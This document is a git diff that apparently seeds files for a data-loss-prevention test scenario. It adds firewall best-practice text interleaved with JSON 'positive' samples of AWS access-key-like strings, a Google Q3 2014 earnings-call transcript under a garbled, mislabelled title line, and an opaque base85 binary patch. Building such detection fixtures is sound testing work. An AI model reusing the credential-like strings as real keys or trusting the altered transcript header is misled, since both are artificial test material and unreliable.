zs63D>$XIAN{Z(u{PM|_H;n~kmdR-J3zAx^xxyVxDV}BcgV&GAjW(MCv5Hg?~6NZFc zQv4)HpLC+I4_UuBXw-s{1LpNq4=ODem3Zx7!QX+F#H_d!Ag@7fjLr>pH8wbj{7t88 zxv9~?F^ z3S0Gma^?nYSf7r>4`)9>TFdTVhWZi95c zhUL;RLpxm9TH!w2VDYHlJb03p)E3BD$e(`g2EwdBn@ysawm4>xBAkbP4q`FeD-e^^ zzy&al!QkBue^;1x;!6>|Wr4X2Igk0E{>Dhz&Gu4^8)4HZ79a*Vg8iQf?ZWG?3xbXx z9Q@5cK{ui@+6Af#t{jKBrt>X5CGhKf7Qz9?HS$m<`Te3an$0?iUuQdZ!UkAnA~;D` zeVbPBaENckXMQ9m49>b*^X60JvxuZ0czR?P01!T5ctS3)wFaCh+;Yn>;^z?Y?$%9X z*neXwtM%hYbOP<^L^*C|*T?zTS^O;4<;0sm*9pX%p^l@7Zce{R9{TLcs;ZLOeA!l2 zrKiF50b~#w8n(bZ#EcqLvpg^>6!;z{0)UC3CUQ>~qy{X2t~c1CZG+}NY_UO3l7XfX z%AO(5z|I)ul*pGF%^U$f_V-J~{{>%XlUcH4h*vnHa4wiIoC_ulaX~(DK`!S4=MWc6 zAT9t4z^hi@x@B&o0b{_{O|ypg{W`id=u3V7TcCZZ`QSSvy%4e8jMZ`#JBl?1L<+SJ z)r2?zC7~HdfF*p0h4;J@T!2=qVjuP=8|&;~V@(c!O=B&4f*PxUHx`N`%ad_-)mSJf3IZ&%~X>B>*eot>>vESo_)mM5__M&A7F3u_h$Ac z-bBK_5JnP;7bH9dkFj$2m1(ojD!6IsvIQW zCANiwbO|xrz(I15V*!AiWCw-r;2&sbgx$`;Tms8DNI!PRN;o)y!0R}ePvBGz77&=n z!5IW*b8sesDI6>!@H_;Iv2PZEXE|6*;0GL>OW@la^bq(O2g?YIa`Do!1Vy(S)DX1nZr)1(bC+h+(QXdT_sR(haG+^ zYUcYMc+lgQvCSAzry}@@ihzpBd8nv}{|ZGYhzbXHha5kx2dCkW!W}3@tGwT5Hru8J?$G<4 z@B4m^O~0Ml`SZ*(&pb0b`^@YvN{f@CjKPo(<&bzO${Y-NOAbkpqHMvC=jD(-QdDX% zWVsxolAH&B=s;%*QEEQ|a*i1tsDnfn!p@%_Gj`ov7$Q;@wa(P>fn!Xy z@SK+gt%L_TuL=y{kvBnJ$3KTLqbGg%cwJoVygHI#PIPtCj|;EH$B{vdV)&G6N_chC z$#LBp5d1vpwSREnR#2&?FP-^f0yl6!edP>R!U?xfY>W_cNZA7@D(!Z8kp%; z^G1rUwc^$bpa0597}PxI1AJTz-)p|1AeZtEdWY1AJ~??jr@B#v0*_jt-f1`Wi8EX95>Z8L$2-?H^e6eX-4_LAPA$_W^PYi^F(d`8 zSoBe87;o-SB)*YHafu(srJ5{A_LBLp=0B-l=3Jm6o41I;w`hE<0vK zUI9J`U6&m{B5&aYeEtx-p2{(UN5*(qBxC1Kp)7bc{|CNz7KR;vQ@+ctZoW5melB8Q z#GY3{?)R|^royGF+$ndZqvI$iZH}Ou^^m2dhxw!_9y=Jr1Alo6I@Az&^$^|xg{AE& z*9BgKckH)O^Dyd!`?^mFE5S|>8}_60p2r0Q-@VAQdpGD7&>#eZ95&6?ZmHcHv0eIc zTC~(0J9iZ-Jm(x~p|_9nri>m1qpQD+t^Oib`thEL{-~pKV0%5g1Cul6kH;G^u&#qQ zz5ajHP(&j>O1Etp_7C){t4H)wxT)msM;L>rA8_+t zyivR}Hon&k4O^5R4ze{v!>hMPRPW%#cefJ9B2;Tyo+=F6)T?)d6ARC_rdleesoow& z4B~|zh^=Xj1&!xW<|DvjU>LO`OW)Y_%niXlBr%E>h`+)$_#(Tf6Ya-23ks+oRiyR5Vc7zqL6|TFD-OEfDfo4+DhA`M?eB0ZNbk`+mLoZ-H=8OYu9$X>(blmu}@^` z+*TXP)$n4l#^$%s6}kAQX&(ZACtgJEl!y{&kF8|zn`oMA6A-nA7U&z4WqQ1Y7u#+- z!+b|CD3FbQe1#2HMtThQa4iOo3DNu!FzM5Ze3v>+_{cuJmeq6G# zzBq^G@7VP?25$|)FcMokhi36GBqbbO15XvciA=jNPth}$wGBsCA`B0*S8tMOY8Fn2 z-ZC>9J9`7UkQKio00l*8KVP+2Gf_` zPNu`t!^6KY?SQWVzU`(aSeNh)puO6irY2t(tTdlL?+riuN$r+#)N|XmesUkJ&qohx zto}SUVoUFx-L{N9I;@Fap%x77tc265_xo*tej+<16sj zE$mr`=lfKVK!*bpj{(sw<-y)tLe!TYzed@ zk>Ni*_GmY>h}_NiGw5-o{B#!$<;UWgg|6Gv@d$mOwn|ZOEF@h_S&!}OpsdX`6V7c< z`wq(5l{B<@d)m2H4UH!y#XNKbtu8?6u_Z0gPn3bVO5V_N8w@5ke@2fgLyG}vi* zCz3T33QF6_f}iBTcRBEl2-3@NXk?e_tzoe*M)t$o!mxRE=Xr!{gob_!1U{gBOtb5)2^Ip|e{_|9oqU zYY{>8KSJnsqW?bVzk}tv<24FLmsh{q^Soj)=!Lvuf2&I;Inq)F_BGR1>TZqrALH+W z^T@NGV^4G5+0TR9soB_Hvpe#TKqynRXDS#KK0u}?00;_?Iz%Jk*a13Yx z5@2@g2MEBOKt50ilml~tB|yhxYHu4WDz&lMJ{$YPeKyuzu(c*RjrmTWK5gep#2(Bz z27ZQoMHOsRe){c3M3Ae|XQfe^Q8}3@!&B2(ipQH)S?bI6dWxJC6^xa!3Rc8C%*&kk z4Pg%E!VmRhe&%LAR*Do(rUJb9Q92coV^=Y}(;7!U%VNV>9)6)|d z$d%2Kd5Q~jGB%RwnVM3A@x+4E?%bCh~$_54EYe=geDeWz^wznG;NCHlz zBWX=WT~#Qd9C?d)t&4+YxZujQC0P(%Ii?IL748*%Rm#z{mUD5vA}a0Mn`kTYPJw>r zehNFJSlR!SPdK<B5sHhjRW%7LgN(a%*Dp~P&#e; zL;PJxrwmf2QI2X}!sT!0W0yPzO#P?ye~!MiFUi5>Z4XL8sefBPB^)FJJ2`T9UqWgR5FpzAeVxn;@<-L`&y`E>25#bn4^p;*z% ztJAu2` z64}8Yjd%`5Av1zM#$)c_;dk&b%A1Q&I+BBKDm0nKNSa^LoSBXsv>nYSL&JvivC-3- zDi85AuMJI=3{9c_N7pMlhQUwsKE+StBOS?HKWH9DJdz$2VbpjF!wlYAx`A7m2#CbDIJwVbm;0tS4tW;W!}?qRvL1i z4{j+%MMziy%6EVQ&1;pM`A8Ldo(;LuY+Iq5hxqpAR5tNM<B(3U69)ugRY7X1JQ*gg*Y(imsjG5Mhe!MMMuMl#*a=J zI(G2>wV>4P@J!G1*?pzp2jQbCoZjJ+rZ|gyneJkbw~R*=$a%8t6~5#mU+FYwuBY5z z&gsbKG8vYQJ7W7}=bfI)0yYZTKqF4au?D36qYo8E#P+{|&;j|^KK$Zm8PJG-^qa>n z{IyR%hqe8}*ya5~Da>VUzi`YmF6XD@SN%t~yeoFoeYyVS2{#g&8lH&1GN~E(ke;i&z^HYwF=`XLgZK>i|n_u?P6Cjvl&zW02 zZ~lS@Y8Ec4U0k>1!KJ@>=;23}J-U3wWB>K|$|s(DYSq)L*Q|Z!+2__h|H6ywfBVw! zHoW}Gs~cZ?{f$j;Zhq_Sciw%ke#_Q|ZSQa2(YSNh2fIJ~=;J+mf4^`4AO85K1D_oH z^P&Iu>1R!!|K;$Jzkcy$;OMdAC%*dne!%;)!@?sXqdIkt z?$Whe%vD#%#&y4@NBp(d^-Sn>eeXUu{Hm|&#+z>L*MGn*18==;(BRvL+@aP8TAipj z7!ysB*-YIGm?^N+|qHrBKmFZc-| zQH7i4@|)52_K?63FE)XZsetVdy2|+z-EBOTa^5li?rZ*Wd~A>Q@w-FlyW?$aED7VvT?aOQIP~N7Yay-LvCcTYj$9g?5ygi+c@rAkV<2&+kXhi$? zj`?Hq+sB92R~ltwIRG7sTsyXpWAZ7dU@ zL*cJuy9*WV<2%y-!q+~&BY&UW3me?KRDyi$dJpa@*y=*UR&K*EjIfIxSJs{X@w#(j z_(&`!weT z;fKRB-AHP8mEPMiGTH6OD=&4Yc>LfnA#$Y8HOf65h76WQ+>&&X9S&5W0=ow&B-`Wg zyMlb8HF|}GF5vf%DgaAPhzRyFN}cC(1gpg2+j3KUj=ju@{5>uVO=ip9$ z++~nmp3htAo?KDDx+_eBiWIQDkhRO{>nJDoeq_F@B51kYL4J^tt-FnMrsyc!PG`JPPeSTw zCD?kWIvttrBCnIG!dM0I6ru<3hiG1Y3AEpl>A>c_(A;Q#CHIG1Yf^Y8VeGkx5q_t4 zMy}J#4NUGLC$A=S=3%N?ereIvV7<45loC{W6f=X@e?|q&f%&Cn&g2R%8Ti-(#AQhP z{TI*gaaVX;&J-BU)`y%!DV(rmhNZjw6(vOBPJeN+(+iz>B{I+Dgk`XX$sAK;GV}7h zxg>DB&>Vaw6Ga2@GCVDt{9Vz1Al*_&3aLHpU~F+Ds+3EapOMxfWIv~#hyKXegCVjhV0WdB z%t^~qMzo7vMXrSXs}dliLCzPpw_fh`UMkU|^XmXw=OfTun%qc$*6yN!s{q)M`8p6R z#C#oy?7uO=Fmh=hzB3wGhP{{M91kcei z_!{HLV0d28g+g)qW8qTSxD@hyWpGsh)RV6<;-bU(r+N@SRRHlkC+NVysdWmmS~@KZ9- zUvLneunR)l0w|tv<+vh&%as6bzs^^Y;{VKp^3y@t72Q-^g`{$>xR(mQRQyj(uh3Ck zCI9~hR~7YeuV0RjxJw=~52{NZzZ{SM&XO)|ES5{XwDs-Z$<;4Q`;saUyuw^k1ysK* zpa164{*S8yeQPExJTiJMCS-+kXUx4ZD6VHelRZyABfE2+YN9Pr%r>ivyX%mC%bJ60 zRC4qM|L6QD2ibz|YnPcmIhg)+r2lyJk=56;zpf6f9(QT_v!3QTMqmOt;@~|8RczwH zDF=lM)9*X*Y128zG_z#R$bOZARQrEtV|#$zKqIgXs0ZE#HUjH`wZIBsF)$CP1bjd_ z-~vhj2T%x%2gU&TKrWC4WB@im2Mh-K0hGQE5D&xv3}}AI#!diDz#-rOup8I}tOvSa zvaDQt*5Z66@CdLNmDdP5}X+2{-`k0UCjNU=y$bSO=^E zRsc1C4=4e~1C%}&NCk9&3Wx(*)`Kq41RMai0V{zTfDVOke)9kEAAON1^!QiLiO-I_ z(u+2fqw!_b|8>aW4af;))7NVPXuAVI#InnSLhJvs`_I;-!#f-i!9%I@5O@eG$X0#) zpJR6L=!f(=q`wrXt*DK5y=rTB&!X6?mGXBZKJ=hACw@A%eQ261{+}QLngu|Z*Q*Ds zMYTyiOkJY(s4LYo)phEp)SJ}?&5N1=!YtudZH{)FwnXdGR%sV#S7=vhU)26xdsZ8! zlXN!SP+hietFBS^k#4{4psq>xrS5CpH@X&GgxFQ=F7^^{6mJzp(JH2hnPQ$eUYsme zh?QcESSLO#J|_N7d|muV+%JA1UZo$V&)2*3%k(?+C-sHKYU2{)%SM)%nK&*{GNqYD znwFZDo7S3MFnwu?kOoMJQnBQc7D&sa)zVASyVCp8eyK_NO6qRD*{m_An{&<6%+H%Q znYWn#YL2(uXt7!zvbd~1>tgG3)*r12NvOMu_8a1xUFv|kvu1#1j^=sI2bw=>VuU_I zx=kJ7O}blkDY{`gzpkfvn`joR#mB{G#Cow2GCL&3>2J^r`XYUm zez*QRy~9{xe9`!t@mph9VzMqTcs->r-9a0Z-Uvr{)qS{<*Tee%iwM1L>*0I)!)(UH-^)c&{*7vO2t-rS(upY4P6~E z%`F;@rd0E5&1OwKB>ZR1Va-v^Db2ThK%@dlxY4Eh5uu*tN*a?oiXs<%P*3iJiqb!&1ZdhO3RY8K!SBt&H{-PGzlP=yX z&KDmP*NLx)?~6x8m41}IM1KI9Y&HDWu-lMq%r+Jpy~aA@GUF4*jm8g+M~#0sHbb8} zC0?6oPIM+tOI(!r$He}oGSe2*Jn0qbHt;gayu{pKK4R`<8E#o&$+Ql)jZLE@3baFf+kZ2Cm{R5~jSFb_6M z7$@E}H=6Ypvn9ha+p^r!!+O2-QR@@dW^4bXCzC!-A|qi2>XNVND#Qzo!k+{h6V*Bs z#=LZlYZc;CVu^l&VX5&Gqc`zR)7z%cOqEhml0WHzq{ot8Oxl}tIO!YeA4}!->a6ai z9;CLYhpX-C3iW*Ta`p4-2F)&wMr+hQu6tA0SDYfQ6gP@*i4ExOyTv`?IkB(ag4$&0 zv-G(bDaYu?>kIWS=r`y$>Nn}%*572f-H>4zZpb%`F^o6NG(2bc#L#3oVh9*c7)}|^ z7@7?&hIC_=G1r)H9Aj)Weq=n1_Wjy;#u$~@V7kr<-d4$V9IR1mbQ+_^tjW-1X$mzC zjm~5?rJAx#`KIwEhskB~neI2uGc7hfVp@q2dA(^P>buRf+qBQQ1N%G`re51`y8(-Bj^bi#DXbOz&I3r4<3 zDO!q=;-q*fLFyx^q<+#sX|SZ0bl}M>*`!n{L&}nJr9#OemEc-Z&iTAws*>hOHPT{f zsq_fAUMa1T)=KN7_0k4uBkJ(BRF8TzO1q^!xZ)g;4xvs*q=0lnIwhTvnxz)hFwz`t zE-_b{Ys@Rm>&&}R!$amK^pSx11V-F5sBepzSt2dbmKaN%CEk)?8E74BRa~ zrdl(sS=KSu@zz4C!&+i>p+EUBBHwSVvaX_*x^i5Rz!eExk-!xRT#>-fmcV}l?E5WR literal 0 HcmV?d00001 diff --git a/scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt b/scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt new file mode 100644 index 0000000..43f68f8 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt @@ -0,0 +1,42 @@ +Configure the best practice Antivirus profile by cloning the predefined profile and changing the imap, pop3, and smtp decoder values to reset-both in the Action and WildFire Action columns. +Configure the best practice Anti-Spyware profile by cloning the predefined strict profile. On the Rules tab, enable single packet capture on medium, high, and critical severity threats for traffic you log. (For traffic you don’t log, apply a separate profile without packet capture enabled.) April_05_01 +On the DNS Signatures tab, change the Action on DNS Queries to sinkhole if the firewall can’t see the originator of the DNS query (typically when the firewall is north of the local DNS server) so that you can identify infected hosts. + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOQQ AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + }. +} +DNS sinkhole identifies and tracks potentially compromised hosts that attempt to access suspicious domains and prevents them from accessing those domains. Enable extended packet capture on the sinkholed traffic. April_05_01 +Configure the best practice Vulnerability Protection profile by cloning the predefined strict profile and changing the Packet Capture setting for every rule except simple-client-informational and simple-server-informational to single-packet. If the firewall identifies a large volume of vulnerability threats and that affects performance, disable packet capture for low-severity events. +The predefined strict File Blocking profile is the best practice profile. If supporting critical applications prevents you from blocking all the file types the strict profile blocks (you can identify the file types used in the data center from data filtering logs at MonitorLogsData Filtering), clone the strict profile and modify it as needed. If files don’t need to flow in both directions, use the Direction setting to restrict the file type to only the required direction. +The predefined WildFire Analysis profile is the best practice profile. WildFire provides the best defense against unknown threats and advanced persistent threats (ATPs). + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOYY AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services AKIAYPDIK3OCOFEZAOKK" + } +} +Perform CRL/OCSP checks to ensure June04 certificates presented during SSL decryption are valid. +SSL Protocol Settings: Set the Min Version to TLSv1.2, the Max Version to Max, and uncheck the SHA1 Authentication Algorithm. (The weak 3DES and RC4 Encryption Algorithms are automatically unchecked when you select TLSv1.2.) Use TLSv1.3 for traffic that supports TLSv1.3 (many mobile applications use certificate pinning, which prevent decryption when using TLSv1.3, so for these applications, use TLSv1.2). +SSL Forward Proxy: For Server Certificate Verification, block sessions with expired certificates, untrusted issuers, and unknown certificate status, and restrict certificate extensions. For Unsupported Mode Checks, block sessions with unsupported versions, unsupported cipher suites, and client authentication. For Failure Checks, blocking sessions if resources aren’t available is a tradeoff between the user experience (blocking may negatively affect the user experience) and potentially allowing dangerous connections. If you have to consider this tradeoff, also consider increasing the decryption resources available in the deployment. +SSL Inbound Inspection: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported ciphers. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +SSH Proxy: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported algorithms. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +Apply the No Decryption profile to traffic you choose not to decrypt because of regulations, compliance rules, or business reasons, except TLSv1.3 traffic (TLSv1.3 encrypts certificate information, so the firewall cannot block traffic based on certificate information). Block sessions with expired certificates and untrusted issuers. + + "AWS-AAKI": { + "positive": { + "aaki1": "HEd6k2v4Rj5e44l4poSJlB AWS Access Key", + "aaki2": "Access Key ID AKIAYPDIK3OCOFEZAOAA", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services MCaW6LjNPHTieUnRQCo" + } +} + +Use App-ID to create application-based allow list security policy rules that segment applications by controlling who can access each application and on which sets of servers (using dynamic address groups). App-ID enables you to apply granular security policy rules to applications that may reside on the same compute resource but require different levels of security and access control. +Create custom applications to uniquely identify proprietary applications and segment access. If you have existing Application Override policies that you created solely to define custom session timeouts for a set a of ports, convert the existing Application Override policies to application-based policies by configuring service-based session timeouts to maintain the custom timeout for each application and then migrating the rule the an application-based rule. Application Override policies are port-based. When you use Application Override policies to maintain custom session timeouts for a set of ports, you lose application visibility into those flows, so you neither know nor control which applications use the ports. Service-based session timeouts achieve custom timeouts while also maintaining application visibility. +For migrating from a port-based security policy with custom application timeouts to an application-based policy, don’t use Application Override rules to maintain the custom timeouts because you lose visibility into the applications. Instead, define a service-based session timeout to maintain the custom timeout for each application, and then migrate the rule to an application-based rule. \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt b/scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt new file mode 100644 index 0000000..375f280 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt @@ -0,0 +1,601 @@ +Awesome Q3 2021 Earnings Call - New9 super 3excellent wonderful awesome awesome 13Company great 100 goodgoodtestParticipants great +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more 